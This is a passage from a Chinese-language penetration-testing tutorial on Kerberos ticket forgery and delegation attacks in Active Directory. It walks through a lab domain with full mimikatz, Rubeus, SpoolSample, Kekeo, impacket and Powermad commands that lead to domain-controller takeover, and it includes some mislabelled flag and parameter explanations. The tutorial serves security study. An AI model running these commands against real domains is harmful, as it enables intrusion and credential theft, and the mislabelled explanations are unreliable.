注入两张HTTP&WSMAN白银票据后,我们可以使用PowerShell远程(或WinRM的)反弹出目标系统shell;

4.为LDAP服务创建白银票据,以获得目标系统(包括Active Directory)上LDAP服务的管理权限,通过DCSync来获取域hash;

5.为HOST和RPCSS服务创建白银票据,以获得在目标系统使用WMI远程执行命令的权限;

总结

1.白银票据是通过服务名和其hash来进行伪造服务票据ST,并且在利用白银票据的过程并不需要再经过KDC,因此,在socks代理环境下,只需要修改本地的host文件,使我们的命令走kerberos协议,即可使用白银票据;

2.黄金票据在socks代理环境下之所以需要远程解析DNS才可以使用的原因是,黄金票据相当于是伪造TGT票据,接下来还需要访问域内的DNS服务器,来返回KDC的地址等信息,因此必须要DNS远程解析才可以使用黄金票据;

3.当使用域名进行dir或者net use的时候,默认是使用kerberos认证,但是在特定情况下 Kerberos 认证失败(如未正确配置、目标服务器不支持或 Kerberos 凭据过期等),Windows 客户端会自动回退到使用 NTLM 认证,

也就是说如果是在域外的机器,在socks代理环境下,使用黄金票据无法指定KDC的地址,那么使用域名进行 dir 或 net use 操作时,默认的kerberos认证无法进行下去,就会使用ntlm认证。

NTLM认证审核失败如下:

ztscrxyj2ki12115.png

NTLM认证审核成功如下:

z35h35p4nf112119.png

4.这样就可以解释为什么在socks代理环境下使用白银票据是使用kerberos认证,而使用黄金票据认证失败却显示NTLM认证。

在使用白银票据时,修改host文件本地解析域名,且接下来的过程不涉及到KDC,因此可以直接使用kerberos认证通过,由于白银票据是伪造ST,且利用PAC未设置的漏洞,因此产生的日志只有上图的4号日志,因为绕过PAC检测,因此也不会有3号日志。

在使用黄金票据时,虽然也可以使用修改host文件本地解析域名,但是黄金票据是伪造TGT,后面的认证过程中还会涉及到客户端使用TGT向KDC请求ST的操作,而获取到KDC的地址则需要访问DNS服务器,通过DNS服务器指定KDC的地址,才能完成kerberos认证,但是在windows下无法远程解析,也就是无法在远程访问DNS服务器(Proxifier软件无法远程解析,linux中的proxychains可以),因此无法使用kerberos认证,所以Windows 客户端会自动回退到使用 NTLM 认证,此时如果我们输入错误的账户密码则会显示NTLM认证失败。

如果使用黄金票据认证成功,则会产生2、3、4号日志。

fa2mqvrhbb112122.png

4wzpspa4y3b12125.png

委派攻击

在现实情况下,往往多个服务不可能在一台机器中,那么如果用户在使用服务A时,需要服务B上属于自己的数据,最简单的方式就是A代替用户去请求B返回相应的信息,这个过程就是委派。

委派攻击分为非约束委派、约束委派、基于资源的约束委派三种。

https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

https://mp.weixin.qq.com/s?__biz=MzI2NDk0MTM5MQ==&mid=2247483689&idx=1&sn=1d83538cebbe2197c44b9e5cc9a7997f&chksm=eaa5bb09ddd2321fc6bc838bc5e996add511eb7875faec2a7fde133c13a5f0107e699d47840c&scene=126&sessionid=1584603915&key=cf63f0cc499df801cce7995aeda59fae16a26f18d48f6a138cf60f02d27a89b7cfe0eab764ee36c6208343e0c235450a6bd202bf7520f6368cf361466baf9785a1bcb8f1965ac9359581d1eee9c6c1b6&ascene=1&uin=NTgyNDEzOTc%3D&devicetype=Windows+10&version=62080079&lang=zh_CN&exportkey=A8KlWjR%2F8GBWKaJZTJ2e5Fg%3D&pass_ticket=B2fG6ICJb5vVp1dbPCh3AOMIfoBgH2TXNSxmnLYPig8%3D

非约束委派攻击

非约束委派的请求过程如下图

dx5sdk2fpi112129.png

这里我们可以了解,当service1的服务账户开启了非约束委派后,user访问service1时,service1会将user的TGT保存在内存中,然后service1就可以利用TGT以user的身份去访问域中的任何user可以访问的服务,总结起来就是当域内某台主机或用户访问了配置了非约束性委派的主机的服务的时候,就会将自己的TGT发送到该服务所在的计算机上,然后该计算机会保存其TGT至内存中。

也就是说,如果域内一台主机存在非约束委派,经过一系列的渗透操作,我们拿下了这一台存在非约束委派的主机,那么只需要让域管理员或者域控访问该主机的服务或者对该主机进行kerberos认证,就可以直接提取到域管理员的TGT,从而利用该TGT接管域控。

查找非约束委派主机

当服务账号或者主机被设置为非约束性委派时,其userAccountControl属性会包含TRUSTED_FOR_DELEGATION

lykhdzcml1212133.png

zo1ay2r4uyx12136.png

ADfind

(需要上传到域内一台成员主机中运行)

AdFind.exe -b "DC=vvvv1,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

  1. **-b "DC=vvvv1,DC=com":**指定了要搜索的 Active Directory 的基本搜索路径(基准 DN)。这里的示例是域名为 vvvv1.com 的域。"DC" 表示域组件。
  2. **-f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))":**指定了过滤器,以筛选符合条件的对象。该示例的过滤器使用了两个条件:

**samAccountType=805306369:**筛选出 samAccountType 值为 805306369,表示计算机对象(Computer)。

  • 0x30000000 (805306368):表示用户对象(User)
  • 0x30000001 (805306369):表示计算机对象(Computer)
  • 0x30000002 (805306370):表示组对象(Group)
  • 0x30000003 (805306371):表示域本地组对象(Domain Local Group)
  • 0x30000004 (805306372):表示全局组对象(Global Group)
  • 0x30000005 (805306373):表示通用组对象(Universal Group)

**userAccountControl:1.2.840.113556.1.4.803:=524288:**通过位掩码筛选出 userAccountControl 属性中的特定标志位。这里的值 524288 表示 "ADS_UF_ACCOUNTDISABLE" 标志,用于检查用户帐户是否禁用。

  1. **cn distinguishedName:**指定要返回的属性列表。该示例中返回了 cn(常规名称)和 distinguishedName(唯一名称)属性。

f05pxdnf13k12142.png

LdapSearch

(linux下,在socks代理的环境下可以使用,需要指定账号密码)

0v3rwfo0jpd12146.png

ldapsearch -LLL -x -H ldap://10.10.10.10:389 -D "man03@vvvv1.com" -w "User\!@#45" -b dc=vvvv1,dc=com "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

  • -LLL:以 LDIF 格式(LDAP Data Interchange Format)输出结果,去除注释和版本信息。
  • -x:使用简单身份验证(Simple Authentication),即使用明文密码进行身份验证。
  • -H ldap://192.168.124.142:389:指定要连接的 LDAP 服务器的主机和端口。在这个示例中,LDAP 服务器位于 IP 地址为 192.168.124.142 的主机上,使用默认端口 389 进行通信。
  • -D "administrator@test.com":指定用于绑定(bind)到 LDAP 服务器的用户 DN(Distinguished Name)。在这个示例中,绑定的用户为 administrator@test.com。
  • -w "123":指定与绑定用户关联的密码。
  • -b dc=test,dc=com:指定要搜索的基准 DN(Base DN),即搜索的起始点。在这个示例中,基准 DN 是 dc=test,dc=com,表示搜索域为 test.com。
  • "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))":指定了搜索过滤器,以筛选符合条件的对象。该示例中的过滤器使用了两个条件:
  • samAccountType=805306369:筛选出 samAccountType 值为 805306369,表示计算机对象(Computer)。
  • msds-allowedtodelegateto=*:筛选具有非空 msds-allowedtodelegateto 属性的对象。
  • cn distinguishedName msds-allowedtodelegateto:指定要返回的属性列表。该示例中返回了 cn(常规名称)、distinguishedName(唯一名称)和 msds-allowedtodelegateto 属性。

powerview

(需要上传powerview进入目标靶机)

Powershell -ExecutionPolicy Bypass

Import-Module .\PowerView.ps1

Get-NetComputer -Unconstrained -Domain vvvv1.com | select cn

q22zwtonhrs12150.png

非约束委派利用

利用环境

域控:AD-2016

普通成员主机:WSUS-PC(配置非约束委派)

域管账户:VVVV1\administrator

hjd4m4k11qy12155.png

ojt2wrhn5vl12160.png

由上面的原理我们可以知道,一台主机配置了非约束委派之后,域管理员或者域控访问该主机的服务或者对该主机进行kerberos认证,都会将对应的TGT保存到该主机的LSASS进程中,我们就可以通过工具进行导出TGT来注入内存,获取域内高权限,从而接管域控。

这里我们只需要使用域控或者域管账户对WSUS-PC机器进行kerberos认证即可。

  1. 未注入前权限

mz3xubg5x3j12163.png

  1. 使用域控或者域管账户对WSUS-PC机器进行kerberos认证

在域控上使用机器名进行net use建立共享进行kerberos认证。

net use \\WSUS-PC.vvvv1.com\ipc$

dir \\WSUS-PC.vvvv1.com\c$

经过此次连接后,Administrator的凭证已经留在机器WSUS-PC上了。

  1. 使用mimikatz导出TGT,并选择高权限TGT注入内存

privilege::debug #导出票据

sekurlsa::tickets /export

kerberos::ptt [0;7963f]-2-0-60a10000-Administrator@krbtgt-VVVV1.COM.kirbi #注入票据

vc15ufqnwnx12167.png

klist

ol25psbt5a512169.png

f1zgqqntf1u12172.png

发现权限提升,接管域控。

总结思路
  1. 通过IdapSearch或者AdFind或者PowerView查询域内配置了非约束性委派的机器。
  2. 通过渗透手段拿下目标机器权限。
  3. 诱导域控或域管对这台机器进行kerberos认证(使用钓鱼手段或者打印机漏洞等等)。
  4. 利用成功后,域控或域管的TGT被注入LSASS进程,使用mimikatz等工具导出本地TGT。
  5. 获取到高权限TGT,使用mimikatz等工具将高权限的TGT注入内存,接管域控。
利用Spooler服务漏洞进行攻击

https://blog.csdn.net/a3320315/article/details/106511098

https://blog.csdn.net/qq_44159028/article/details/124014421

在特定情况下,如果域控开启splooer服务,可以利用splooer服务让域控主动连接。Spooler服务默认开启,域用户可以利用windows打印系统远程协议(MS-RPRN)强制任何运行了spooler服务的域内计算机通过kerberos或ntlm对任何目标进行身份验证,这便是该攻击方式的原理。

1j2jgozsqh212173.png

  1. Rubeus对域控机器账户监听

以本地管理员权限运行Rubeus,对域控机器账户的登录进行监听。

Rubeus.exe monitor /interval:1 /filteruser:ad-2016$

# 我们可以用Rubeus来监听Event ID为4624事件,这样可以第一时间截取到域控的TGT

# /interval:1 设置监听间隔1秒

# /filteruser 监听对象为我们的域控,注意后面有个$,如果不设置监听对象就监听所有的TGT

# DC$为域控的主机名字加$

2i0iytk14c312178.png

  1. 利用spoolsample工具强制让域控机向本机验证身份

以当前域用户身份运行spoolsample。

注意:需要关闭防火墙,否则无法抓取到TGT。

spoolsample.exe ad-2016 wsus-pc

# 表示利用打印服务强制让域控机向wsus-PC主机验证身份,这样通过Rubeus就可以监听抓取到TGT了

5dpz4kmzzpn12181.png

xkcbmpzk2fq12185.png

  1. 格式处理,获得票据

因为获取到的TGT前后存在换行和空格,这里我们使用python简单进行处理。

data =''
with open("1.txt") as fp1:
    for line in fp1:
        data += line.strip().strip('\n')

with open("2.txt",mode='a') as fp2:
    fp2.write(data)

print(data)

使用powershell将其转为正常的票据

[IO.File]::WriteAllBytes("C:\Users\16229\Desktop\1.kirbi", [Convert]::FromBase64String("TGT_data"))

注意:生成路径需要绝对路径

zrmmbmwwjtv12190.png

生成票据1.kirbi后直接导出即可。

使用mimikatz或者Rubeus导入TGT。

kerberos::ptt 1.kirbi

3vfoez0oz5h12192.png

或者使用Rubeus直接导入

Rubeus.exe ptt /ticket:TGT_data

1aruiiq5cd312195.png

注意,这里获取的TGT实际上是DC的机器账户,而机器账户是没有相应权限访问cifs服务的,但是在LDAP服务中,机器账户会被当做域控主机,从而可以DCSync。

利用DCSync可以导出域内hash,制作黄金票据来进行权限提升与维持,这里就不多赘述了。

wzdrovhbixg12198.png

slubr5xmszo12202.png

约束委派攻击

对于约束性委派,服务账户只能获取该用户对指定的服务的ST。从而只能模拟该用户访问特定的服务。配置了约束性委派的账户的msDS-AllowedToDelegateTo属性会指定对哪个SPN进行委派。约束性委派的设置需要SeEnableDelegationPrivilege特权,该特权默认仅授予域管理员和企业管理员。

**约束性委派有两种:**一种是仅使用Kerberos,也就是不能进行协议转换;另一种是使用任何身份验证协议,也就是能进行协议转换。

(1)仅使用Kerberos

  • 配置了仅使用Kerberos约束性委派的机器账户和服务账户的userAccountControl属性与正常账户一样,但是其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN

(2)使用任何身份验证协议

  • 配置了使用任何身份验证协议约束性委派的机器账户的userAccountControl属性的Flag位为WORKSTATION_TRUST_ACCOUNT | TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,其对应的值为16781312,并且其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN

约束性委派的流程

为了在Kerberos协议层面对约束性委派进行支持,微软对Kerberos协议扩展了两个自协议:S4u2Self(Service for User to Self)和 S4u2Proxy(Service for User to Proxy)。S4u2Self可以代表任意用户请求针对自身的ST;S4uProxy可以以用户的名义请求针对其他指定服务的ST

zocallrtqhi12206.png

  1. 用户A访问service1;
  2. service1通过S4U2self协议代表用户A去请求一个可以访问service1自身的可转发的ST,这个ST代表域控授权service1可以以用户A的身份进行操作;
  3. service1通过S4U2proxy协议以用户A的身份访问KDC请求一个访问service2的可转发的ST,而在S4U2proxy阶段过程会通过判断msds-allowedtodelegateto里的SPN值来确定是否可以申请到service2的ST;
  4. service1获取到ST并以用户A的名义访问service2;

也就是说,如果获取了service1的权限,就可以伪造S4U先请求service1本身的ST,然后利用此ST便可以伪造任意用户请求获取service2的ST。

(注意:可转发的ST指的是一个用户的凭证或票据从一个服务传递给另一个服务,以便在后续的服务中代表该用户进行身份验证和授权。当一个用户在某个服务上成功进行身份验证后,该服务可能会颁发一个票据给用户。这个票据可以包含用户的身份信息和权限。通常情况下,这个票据只能在颁发它的服务上使用,这样就是不可转发的服务票据。但是,在约束委派中,获取到的服务自身的ST可以将用户的票据转发给其他服务,以便用户无需重新进行身份验证,直接在其他服务上使用之前获得的票据。)

查找约束委派主机

当服务账号或者主机被设置为约束性委派时,其userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION,且msDS-AllowedToDelegateTo属性会包含被约束的服务

qdkyzydubd012210.png

oi2fgywhkrr12215.png

ncey1r53jtl12219.png

AdFind

//查询域内具有约束委派的机器账户

AdFind.exe -b "DC=vvvv1,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

//查询域内具有约束委派的服务账户

AdFind.exe -b "DC=vvvv1,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

3xyeozf4zos12224.png

4cvqx31dous12229.png

LdapSearch

//查询域内具有约束委派的机器账户

ldapsearch -LLL -x -H ldap://10.10.10.10:389 -D "administrator@vvvv1.com" -w "admin!@#4567" -b dc=vvvv1,dc=com "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

//查询域内具有约束委派的服务账户

ldapsearch -LLL -x -H ldap://10.10.10.10:389 -D "administrator@vvvv1.com" -w "admin!@#4567" -b dc=vvvv1,dc=com "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

PowerView

Powershell -ExecutionPolicy Bypass

Import-Module .\PowerView.ps1

//查询域内具有约束委派的机器账户

Get-DomainComputer -TrustedToAuth -Domain vvvv1.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto

//查询域内具有约束委派的服务账户

Get-DomainUser -TrustedToAuth -Domain vvvv1.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto

4xt23iceptf12232.png

3s2zitjhowm12239.png

约束委派利用

因为S4U2self是service代表用户请求的自身可转发的ST,因此如果要配置域内账户进行约束委派,需要对该账户配置SPN。

查看域内所有SPN

setspn -Q */*

amxrfbnhtjp12243.png

查看单个主机的SPN

setspn -L ad-2016$

fb1japt1ck412248.png

配置SPN

setspn -u -s host/weipai wp

  • -u: 指定要设置 SPN 的帐户。在此命令中,-u 参数指示要设置名为 "wp" 的帐户的 SPN。
  • -s: 指定要添加或更改 SPN 记录。在此命令中,-s 参数表示要添加一个新的或更改现有的 SPN 记录。
  • host/weipai: 这是 SPN 的格式部分之一,用于标识服务和主机。在这个例子中,"host/weipai" 被用作服务和主机名。请注意,这是一个示例,具体的服务和主机名应根据您的实际情况进行调整。
  • wp: 这是要设置 SPN 的帐户名。在这个命令中,"wp" 是指定要设置 SPN 的帐户的名称。

综上所述,setspn -u -s host/weipai wp 命令将为 "wp" 帐户添加一个新的 SPN 记录,并将其关联到 "host/weipai" 服务和主机。这样,在系统进行身份验证和授权时,可以正确地识别 "wp" 帐户,并将其与特定的服务和主机相关联。

032urlfrvea12252.png

攻击方式一

首先我们需要获取到服务账户的NTLM-HASH,用来制作TGT,通过服务账户的TGT在下一步获取到自身的可以转发的ST(如果是某个机器配置了约束委派,使用其对应的机器账户即可)。

使用工具Kekeo生成服务账户的TGT

tgt::ask /user:WSUS-PC$ /domain:vvvv1.com /NTLM:729211aa36b43064f566d70dff031567

iqrvfkv54lr12255.png

这一步包括两个步骤:

1.利用服务账户的TGT来伪造S4U来请求自身的可转发的ST;

2.通过自身的可转发的ST来伪造任意用户请求获取其他服务的ST;

(注意,伪造的用户需要是经过KDC备案的用户。另外,如果伪造的用户不具备其他服务的权限,那么即使成功委派该服务,生成了票据并注入内存也无法成功访问,因此最好直接伪造administrator用户)

伪造无权限的man03用户

tgs::s4u /tgt:TGT_WSUS-PC$@VVVV1.COM_krbtgt~vvvv1.com@VVVV1.COM.kirbi /user:man03@vvvv1.com /service:cifs/ad-2016.vvvv1.com

发现成功生成ST

fb4rltvfn2g12258.png

kerberos::ptt TGS_man03@vvvv1.com@VVVV1.COM_cifs~ad-2016.vvvv1.com@VVVV1.COM.kirbi

导入ST后,发现并没有权限访问域控的CIFS服务

vi5ykdgpef012263.png

伪造有权限的administrator用户

tgs::s4u /tgt:TGT_WSUS-PC$@VVVV1.COM_krbtgt~vvvv1.com@VVVV1.COM.kirbi /user:Administrator@vvvv1.com /service:cifs/ad-2016.vvvv1.com

xb3ltpcbh3s12266.png

导入ST后,可以直接访问域控的CIFS服务

kerberos::ptt TGS_Administrator@vvvv1.com@VVVV1.COM_cifs~ad-2016.vvvv1.com@VVVV1.COM.kirbi

mkeo1v2ocdr12270.png

zpo1mhf41d212275.png

当然,导入票据之后,具有了域控的CIFS权限,就可以直接使用psexec直接连接即可

psexec.exe \\ad-2016.vvvv1.com cmd.exe

a1dpd2uviin12279.png

在这里注意一个点,使用windows自带的psexec可以直接使用windows本地票据进行连接,使用impacket工具包无法成功连接。

因为windows自带的psexec工具是建立在windows平台下的工具,因此可以直接读取到windows内存中的票据,通过票据进行发包进行连接。

但是使用impacket工具包中的psexec、smbexec等工具是建立在linux平台下的工具,在linux中并没有票据这一说法,使用 impacket 的脚本使用 .ccache 文件进行身份验证,因此在生成票据文件的时候,我们需要将.kribi文件格式转化成impacket脚本可以识别的文件格式,也就是.ccache文件。然后我们需要将 KRB5CCNAME 变量设置为 ccache 文件的绝对路径。

然后使用impacket工具包即可直接连接。

python psexec.py administrator@ad-2016.vvvv1.com -k -no-pass

攻击方式二

当然,也可以直接使用mimikatz导出机器账户的TGT,这样就不需要生成TGT了。

sekurlsa::tickets /export

yxyohzzov0p12282.png

接下来利用服务账户的TGT来伪造S4U来请求自身的可转发的ST,然后再通过自身的可转发的ST来伪造任意用户请求获取其他服务的ST

tgs::s4u /tgt:[0;3e4]-2-1-40e10000-WSUS-PC$@krbtgt-VVVV1.COM.kirbi /user:Administrator@vvvv1.com /service:cifs/ad-2016.vvvv1.com

gozbs50ssha12288.png

再通过mimikatz导入票据即可

kerberos::ptt TGS_Administrator@vvvv1.com@VVVV1.COM_cifs~ad-2016.vvvv1.com@VVVV1.COM.kirbi

xxgstau5t4q12293.png

然后可以使用官方的psexec进行连接

PsExec64.exe \\ad-2016.vvvv1.com cmd.exe

g0bgimn3yt512295.png

攻击方式三

直接利用Rubeus进行攻击

Rubeus.exe s4u /user:WSUS-PC$ /rc4:729211aa36b43064f566d70dff031567 /domain:vvvv1.com /impersonateuser:administrator /msdsspn:cifs/ad-2016.vvvv1.com /ptt

ygh0mz1d33d12298.png

已经可以直接使用psexec连接了

PsExec64.exe \\ad-2016.vvvv1.com cmd.exe

y5powimixsm12300.png

攻击方法四

python getST.py -dc-ip 10.10.10.10 -spn cifs/ad-2016.vvvv1.com -impersonate administrator vvvv1.com/WSUS-PC$ -hashes :729211aa36b43064f566d70dff031567

set KRB5CCNAME=C:\Users\Administrator\Desktop\kekeo\administrator.ccache

python psexec.py administrator@ad-2016.vvvv1.com -k -no-pass -codec gbk

50204pp1f4w12303.png

qshs5qxqk1r12304.png

总结

约束委派和非约束委派的区别

1.委派任何服务即为非约束委派,委派特定的服务即为约束委派;

2.非约束委派需要另一台主机或账号对配置了非约束委派的主机进行kerberos认证,并且需要通过认证,非约束委派主机可以直接导出对方保存在内存中的TGT来进行利用;

而约束委派是在获取到配置了约束委派的主机后,通过伪造S4U来请求主机或者服务账号本身的可转发的ST,然后通过该ST来伪造任意用户(需要通过KDC验证的用户)请求获取对应服务的ST;

3.非约束委派需要完成整个kerberos认证,因此需要其他主机主动进行认证,而约束委派只需要备案在KDC中的用户名即可,因此可以进行伪造用户请求,不需要其他主机主动进行认证;

4.使用windows自带的psexec可以直接使用windows本地票据进行连接,使用impacket工具包无法成功连接。因为windows自带的psexec工具是建立在windows平台下的工具,因此可以直接读取到windows内存中的票据,通过票据进行发包进行连接。但是使用impacket工具包中的psexec、smbexec等工具是建立在linux平台下的工具,在linux中并没有票据这一说法,使用 impacket 的脚本使用 .ccache 文件进行身份验证,因此在生成票据文件的时候,我们需要将.kribi文件格式转化成impacket脚本可以识别的文件格式,也就是.ccache文件。然后我们需要将 KRB5CCNAME 变量设置为 ccache 文件的绝对路径。

基于资源的约束委派

基于资源的约束性委派 (RBCD: Resource Based Constrained Delegation):为了使⽤户/资源更加独⽴,微软在Windows Server 2012中引⼊了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置,⽽把设置属性的权限赋予给了机器⾃身--基于资源的约束性委派允许资源配置受信任的帐户委派给他们。

基于资源的约束委派只能在运⾏ Windows Server 2012 和 Windows Server 2012 R2 及以上的域控制器上配置,但资源的约束委派可以跨域森林和跨域

流程如下

  1. 服务A使用自己的服务账户和密码向KDC申请一个可转发的TGT;
  2. 服务A利用S4u2Self协议代表用户申请一个访问自身的ST。这一步区别于传统的约束性委派。在S4uSelf协议中提到,返回的ST可转发的一个条件是服务A配置了传统的约束性委派。KDC会检查服务A的msDS-AllowedToDelegateTo字段,如果这个字段被赋值了,则KDC返回可转发的ST。但是由于这里是基于资源的约束性委派,是在服务B上配置的,服务B的msDS-AllowedToActOnBehalfOfOtherIdentity属性配置了服务A的SID,服务A并没有配置msDS-AllowedToDelegateTo字段,因此KDC返回的ST是不可转发的;
  3. 服务A利用S4u2Proxy协议以用户身份向KDC请求访问服务B的可转发ST(上一步获得的不可转发ST放在请求包的AddtionTicket中)。KDC返回访问服务B的可转发ST;
  4. 服务A用上一步获得可转发ST访问服务B;

toikgv0gh1d12307.png

利用条件

由上文我们可以知道,配置了基于资源的约束性委派账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性的值为被允许委派账户的SID。那么,谁能修改msDS-AllowedToActOnBehalfOfOtherIdentity属性,就说明谁拥有配置基于资源的约束性委派的权限。

在域控上执行,查询指定域内机器PC-2016的msDS-AllowedToActOnBehalfOfOtherIdentity属性

AdFind.exe -f "&(objectcategory=computer)(name=PC-2016)" msDS-AllowedToActOnBehalfOfOtherIdentity

默认情况下没有该属性

hadeh5ejnpm12312.png

谁能添加机器账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性,谁就能配置基于资源的约束性委派。使用Adfind执行如下的命令,查询PC-2016机器的ACL,看哪些用户修改属性的权限

AdFind.exe -b CN=PC-2016,CN=Computers,DC=vvvv1,DC=com -sc getacl -sddl+++ -sddlfilter ;;"WRT PROP";;;

ys3knmwu5ri12317.png

如图所示,这四类用户可以修改该机器账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性。

VVVV1\WP:该用户为将该机器加入域的用户;

VVVV1\Cert Publishers:该用户组是用于授权和管理证书发布人的;

NT AUTHORITY\SELF:该用户是机器账户自身;

BUILTIN\Administrators:该用户组的是 Windows 操作系统中的一个内置用户组,包含了本地计算机上具有管理员权限的用户和组;

或者配置写入权限,也可以修改账户属性;

uzdzq2ewo0112319.png

实际上,我们可以忽略VVVV1\Cert Publishers组,因为该组默认是不存在用户的。

机器账户自身和管理员组可以修属性不难理解,但是为什么VVVV1\WP用户可以修改属性呢?

这里我们需要明白的是,非只有域管理员才有将机器加入域的权限。一个普通的域用户也可以将某个机器加入域内,如果使用某个域用户将一台机器加入域内,那么这个域用户也就拥有了可以修改对应机器的属性的权限。

b0gk5uvd5yd12324.png

另外,域内用户都有一个属性叫做ms-ds-MachineAccountQuota,它代表的是允许用户在域中常见计算机账户的个数,默认是10。那么这就代表我们如果拥有一个普通的域用户那么我们就可以利用这个用户最多可以创建十个新的计算机帐户也就是机器账户。前文我们也提到了,S4U2Self只适用于具有SPN的账户,而机器账户默认是注册RestrictedKrbHost/domain和HOST/domain这两个SPN的,因此可以直接利用。

基于资源的约束性委派的优势

  • 委派的授予权限给了拥有资源的后端,而不是前端。不再需要域管理员权限设置,只需要拥有在计算机对象上编辑msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限,也就是将机器加入域的域用户和机器在自身都拥有该权限;
  • 约束性委派不能跨域进行委派,而基于资源的约束性委派可以跨域和林;

约束性委派和基于资源的约束性委派配置的差别

  • 传统的约束性委派是“正向的”,通过修改服务账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性,添加服务B的SPN,设置约束性委派对象为服务B,服务A便可以模拟任意用户向域控请求访问服务B的ST;
  • 而基于资源的约束性委派则相反,通过修改服务B的msDS-AllowedToActOnBehalfOfOtherIdentity属性,添加服务A的SID,以达到让服务A模拟任意用户访问服务B资源的目的;

基于资源的约束性委派攻击

该攻击是有国外安全研究员Elad Shami 提出的,他在文章中指出无论服务账户的UserAccountControl属性是否被设置为TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION值,服务自身都可以通过调用S4uSelf来为任意用户请求自身的服务票据。但是当没有设置该属性时,KDC通过检查账户的msDS-AllowedToActOnBehalfOfOtherIdentity字段,发现没有被赋值,所以服务自身通过S4uSelf请求到的ST是不可转发的,因此是无法通过S4u2Proxy协议转发到其他服务进行约束性委派认证;

但是,在基于资源的约束性委派的过程中,不可转发的ST仍然可以通过S4u2Proxy协议转发到其他服务进行约束性委派认证,并且服务还会返回可转发的ST,这是微软的设计缺陷;

因此,如果我们能够在服务B上配置允许服务A的基于资源的约束性委派,那么可以通过控制服务A使用S4uSelf协议向域控请求任意用户访问自身的ST,最后再使用S4u2Proxy协议转发此ST去请求访问服务B的可转发ST,我们就可以模拟任意用户访问服务B了。而这里我们控制的服务A可以普通域用户的身份去创建机器账户;

最后,我们总结几个利用的条件:

  1. 操作系统版本大于Windows Server 2012;
  2. 拥有一个普通域用户权限,用于创建服务账户(直接使用一个服务账户也可以);
  3. 拥有一个域用户权限,且该用户具有可以修改目标机器属性的权限(域管理员账户、机器账户自身和创建机器账户的用户拥有该权限);
查询基于资源的约束委派的主机或服务账户

AdFind

利用Adfind过滤samAccountType和msDS-AllowedToActOnBehalfOfOtherIdentity属性。

查询域中配置了基于资源的约束性委派的主机

Adfind.exe -b "DC=vvvv1,DC=com" -f "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity

查询域中配置了基于资源的约束性委派的服务账户

Adfind.exe -b ”DC=vvvv1,DC=com" -f "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity

使用Adfind查询出来的msDS-AllowedToActOnBehalfOfOtherIdentity值用{Security Descriptor}代替,这个值包含允许被委派的服务账户或机器账户的SID

IdapSearch

利用ldapSearch过滤samAccountType和msDS-AllowedToActOnBehalfOfOtherIdentity属性

查询域中配置了基于资源的约束性委派的主机

ldapsearch -x -H ldap://10.10.10.10:389 -D "admins@vvvv1.com" -w User!@#45 -b "DC=vvvv1,DC=com" "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" | grep dn

查询域中配置了基于资源的约束性委派的服务账户

ldapsearch -x -H ldap://10.10.10.10:389 -D "admins@vvvv1.com" -w User!@#45 -b "DC=vvvv1,DC=com" "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" | grep dn

基于资源的约束委派利用
步骤一

当前已经获取到域内一个用户权限VVVV1\WP

whoami /all

S-1-5-21-3315874494-179465980-3412869843-2607

或者使用PowerView工具

Get-DomainUser -Identity VVVV1\WP -Properties objectsid

l2d24u1zp1v12329.png

uh2es5mnbdp12332.png

导入PowerView.ps1

Powershell -ExecutionPolicy Bypass

Import-Module .\PowerView.ps1

查看用户VVVV1\WP的ACL权限

Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match "S-1-5-21-3315874494-179465980-3412869843-2607"} | select objectdn,activedirectoryrights

或者使用如下命令,查询VVVV1\WP对指定机器账户的ACL权限

Get-DomainObjectAcl -Identity PC-2016 | ?{$_.SecurityIdentifier -match "S-1-5-21-3315874494-179465980-3412869843-2607"}

eiwwqglptpw12336.png

zjtwpfatzfh12340.png

不一定需要GenericAll权限,GenericWrite、WriteProperty、WriteDacl等等权限都可以修改账户属性。

步骤二

添加机器账户

如果已经获取到域内另一个机器账户的HASH,也可以跳过这一步骤。

使用工具PowerMad

Powershell -ExecutionPolicy Bypass

Import-Module .\Powermad.ps1

//New-MachineAccount -MachineAccount [username] -Password $(ConvertTo-SecureString "[userpassword]" -AsPlainText -Force)

New-MachineAccount -MachineAccount weipai -Password $(ConvertTo-SecureString "User!@#45" -AsPlainText -Force)

查询当前域内机器账户

net group "domain computers" /domain

euc0oysl4sh12343.png

查询机器账户的SID

使用PowerView脚本

Get-DomainComputer -Identity weipai | select objectsid

S-1-5-21-3315874494-179465980-3412869843-2609

mcjnffqlkj312344.png

在windows server2008以及2012版本中,可以使用系统自带的工具dsget和dsquery进行查询SID

dsquery computer | dsget computer -dn -sid

上传并导入该DLL

//Microsoft.ActiveDirectory.Management.dll

Import-Module .\Microsoft.ActiveDirectory.Management.dll

//Get-ADComputer [username]

